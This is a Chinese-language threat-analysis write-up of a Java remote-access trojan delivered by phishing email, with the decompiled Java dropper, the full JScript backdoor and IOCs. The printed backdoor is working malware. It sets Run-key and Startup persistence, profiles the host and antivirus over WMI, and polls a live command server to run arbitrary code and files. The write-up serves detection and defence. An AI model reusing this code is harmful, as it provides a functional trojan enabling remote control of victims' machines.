日常巡逻检查某APT预警系统告警,发现一个java写的简单远控木马告警,投递手段为钓鱼邮件,样本通过反射机制和简单的混淆与编码多次打包后门代码。后门代码主要功能为下载文件并写入注册表开机启动实现持久化。

后门代码中包含有如下说明:”// Coded by v_B01 | Sliemerez -> Twitter : Sliemerez”,一个真实存在的阿拉伯人,他注册了多个社交账号,并且有投稿编程教程视频,🐂。根据这篇帖子”https://gathering.tweakers.net/forum/list_messages/1755533“,早在2017年他就开始投递该木马,4年来后门代码基本未变,🐂。
image.png

image.png

image.png

记录

样本反编译代码如下:

  1. package uooypovlas;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.io.InputStream;
  5. import java.io.OutputStream;
  6. import java.lang.reflect.Method;
  7. import java.util.ArrayList;
  8. public class Mkhlxhzrhig {
  9. private static final String liver$$$_$ = "wscript";
  10. private static void dejo$$$(OutputStream paramOutputStream, byte[] paramArrayOfByte) throws IOException {
  11. paramOutputStream.write(paramArrayOfByte);
  12. paramOutputStream.flush();
  13. paramOutputStream.close();
  14. }
  15. private static final String webpackVersioning = "resources/bynueqmffo"; private static final String _$JokerGame = "user.home";
  16. private static void exe(Method paramMethod) throws InvocationTargetException, IllegalAccessException, IOException { new Runtime[2][1] = (new Runtime[2][0] = null).getRuntime(); new Runtime[2][1].exec((String[])paramMethod.invoke(new Mkhlxhzrhig(), new Object[0])); }
  17. private static String vickSon$$(InputStream paramInputStream, StringBuilder paramStringBuilder) throws IOException { return getFidia$$$(paramInputStream, paramStringBuilder).toString(); }
  18. public static void main(String[] paramArrayOfString) throws Exception {
  19. if (new String[0].length == 0) {
  20. Method method = Mkhlxhzrhig.class.getDeclaredMethod("dollar$$", new Class[0]);
  21. exe(method);
  22. }
  23. }
  24. private static StringBuilder getFidia$$$(InputStream paramInputStream, StringBuilder paramStringBuilder) throws IOException {
  25. byte[] arrayOfByte = new byte[1024]; int i;
  26. while ((i = paramInputStream.read(arrayOfByte, 0, arrayOfByte.length)) > 0) {
  27. paramStringBuilder.append(new String(arrayOfByte, 0, i));
  28. }
  29. return paramStringBuilder;
  30. }
  31. private static String[] dollar$$() throws Exception {
  32. ArrayList arrayList = new ArrayList(Arrays.asList(engine$$$$(colllll$())));
  33. arrayList.remove(1);
  34. return (String[])arrayList.toArray(new String[0]);
  35. }
  36. private static String[] engine$$$$(byte[] paramArrayOfByte) throws NoSuchMethodException, FileNotFoundException, InvocationTargetException, IllegalAccessException {
  37. StringBuilder stringBuilder = new StringBuilder();
  38. stringBuilder.append(System.getProperty("user.home"));
  39. stringBuilder.append(File.separator);
  40. stringBuilder.append("_output.js");
  41. String[] arrayOfString = { "wscript", "__$", stringBuilder.toString() };
  42. FileOutputStream fileOutputStream = new FileOutputStream(arrayOfString[2]);
  43. Mkhlxhzrhig.class.getDeclaredMethod("dejo$$$", new Class[] { OutputStream.class, byte[].class }).invoke(new Mkhlxhzrhig(), new Object[] { fileOutputStream, paramArrayOfByte });
  44. return arrayOfString;
  45. }
  46. private static byte[] colllll$() throws Exception { return vickSon$$(Mkhlxhzrhig.class.getResourceAsStream("resources/bynueqmffo"), new StringBuilder()).getBytes(); }
  47. }

后门代码:

  1. // Coded by v_B01 | Sliemerez -> Twitter : Sliemerez
  2. var j = ["WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP"];
  3. var g = ["HKCU","HKLM","HKCU\\vjw0rm","\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\","HKLM\\SOFTWARE\\Classes\\","REG_SZ","\\defaulticon\\"];
  4. var y = ["winmgmts:","win32_logicaldisk","Win32_OperatingSystem",'AntiVirusProduct'];
  5. var sh = Cr(0);
  6. var fs = Cr(1);
  7. var spl = "|V|";
  8. var Ch = "\\";
  9. var VN = "MYYEAR" + "_" + Ob(6);
  10. var fu = WScript.ScriptFullName;
  11. var wn = WScript.ScriptName;
  12. var U;
  13. try {
  14. U = sh.RegRead(g[2]);
  15. } catch(err) {
  16. var sv = fu.split("\\");
  17. if (":\\" + sv[1] == ":\\" + wn) {
  18. U = "TRUE";
  19. sh.RegWrite(g[2],U,g[5]);
  20. } else {
  21. U = "FALSE";
  22. sh.RegWrite(g[2],U,g[5]);
  23. }
  24. }
  25. Ns();
  26. do {
  27. try {
  28. var P = Pt('Vre','');
  29. P = P.split(spl);
  30. if (P[0] === "Cl") {
  31. WScript.Quit(1);
  32. }
  33. if (P[0] === "Sc") {
  34. var s2 = Ex("temp") + "\\" + P[2];
  35. var fi = fs.CreateTextFile(s2,true);
  36. fi.Write(P[1]);
  37. fi.Close();
  38. sh.run(s2);
  39. }
  40. if (P[0] === "Ex") {
  41. eval(P[1]);
  42. }
  43. if (P[0] === "Rn") {
  44. var ri = fs.OpenTextFile(fu,1);
  45. var fr = ri.ReadAll();
  46. ri.Close();
  47. VN = VN.split("_");
  48. fr = fr.replace(VN[0],P[1]);
  49. var wi = fs.OpenTextFile(fu,2,false);
  50. wi.Write(fr);
  51. wi.Close();
  52. sh.run("wscript.exe //B \"" + fu + "\"");
  53. WScript.Quit(1);
  54. }
  55. if (P[0] === "Up") {
  56. var s2 = Ex("temp") + "\\" + P[2];
  57. var ctf = fs.CreateTextFile(s2,true);
  58. var gu = P[1];
  59. gu = gu.replace("|U|","|V|");
  60. ctf.Write(gu);
  61. ctf.Close();
  62. sh.run("wscript.exe //B \"" + s2 + "\"",6);
  63. WScript.Quit(1);
  64. }
  65. if (P[0] === "Un") {
  66. var s2 = P[1];
  67. var vdr = fu;
  68. var regi = "SEJOKAOI5S";
  69. s2 = s2.replace("%f",fu).replace("%n",wn).replace("%sfdr",vdr).replace("%RgNe%",regi);
  70. eval(s2);
  71. WScript.Quit(1);
  72. }
  73. if (P[0] === "RF") {
  74. var s2 = Ex("temp") + "\\" + P[2];
  75. var fi = fs.CreateTextFile(s2,true);
  76. fi.Write(P[1]);
  77. fi.Close();
  78. sh.run(s2);
  79. }
  80. } catch(err) {
  81. }
  82. WScript.Sleep(7000);
  83. } while (true) ;
  84. function Ex(S) {
  85. return sh.ExpandEnvironmentStrings("%" + S + "%");
  86. }
  87. function Pt(C,A) {
  88. var X = Cr(3);
  89. X.open('POST','http://javaslinns.duia.ro:1333/' + C, false);
  90. X.SetRequestHeader("User-Agent:",nf());
  91. X.send(A);
  92. return X.responsetext;
  93. }
  94. function nf() {
  95. var s,NT,i;
  96. if (fs.fileexists(Ex("Windir") + "\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe")) {
  97. NT ="YES";
  98. } else {
  99. NT = "NO";
  100. }
  101. s = VN + Ch + Ex("COMPUTERNAME") + Ch + Ex("USERNAME") + Ch + Ob(2) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;
  102. return s;
  103. }
  104. function Cr(N) {
  105. return new ActiveXObject(j[N]);
  106. }
  107. function Ob(N) {
  108. var s;
  109. if (N == 2) {
  110. s = GetObject(y[0]).InstancesOf(y[2]);
  111. var en = new Enumerator(s);
  112. for (; !en.atEnd();en.moveNext()) {
  113. var it = en.item();
  114. return it.Caption;
  115. break;
  116. }
  117. }
  118. if (N == 4) {
  119. var wmg = "winmgmts:\\\\localhost\\root\\securitycenter";
  120. s = GetObject(wmg).InstancesOf(y[3]);
  121. var en = new Enumerator(s);
  122. for (; !en.atEnd();en.moveNext()) {
  123. var it = en.item();
  124. var str = it.DisplayName;
  125. }
  126. if (str !== '') {
  127. wmg = wmg + "2";
  128. s = GetObject(wmg).InstancesOf(y[3]);
  129. en = new Enumerator(s);
  130. for (; !en.atEnd();en.moveNext()) {
  131. it = en.item();
  132. return it.DisplayName;
  133. }
  134. } else {
  135. return it.DisplayName;
  136. }
  137. }
  138. if (N==6) {
  139. s = GetObject(y[0]).InstancesOf(y[1]);
  140. var en = new Enumerator(s);
  141. for (; !en.atEnd();en.moveNext()) {
  142. var it = en.item();
  143. return it.volumeserialnumber;
  144. break;
  145. }
  146. }
  147. }
  148. function Ns() {
  149. try {
  150. sh.RegWrite(g[0] + g[3] + "SEJOKAOI5S","\"" + fu + "\"",g[5]);
  151. } catch(err) {
  152. }
  153. try {
  154. var ap = Cr(2);
  155. fs.CopyFile(fu, ap.NameSpace(7).Self.Path + "\\" + wn,true);
  156. } catch(err) {
  157. }
  158. }

IOC

15332@ms61.hinet.net
l5332@ms61.hinet.net
hxxp://javaslinns.duia[.]ro:1333/
A29562CBDE90B5915698EAA6680F225C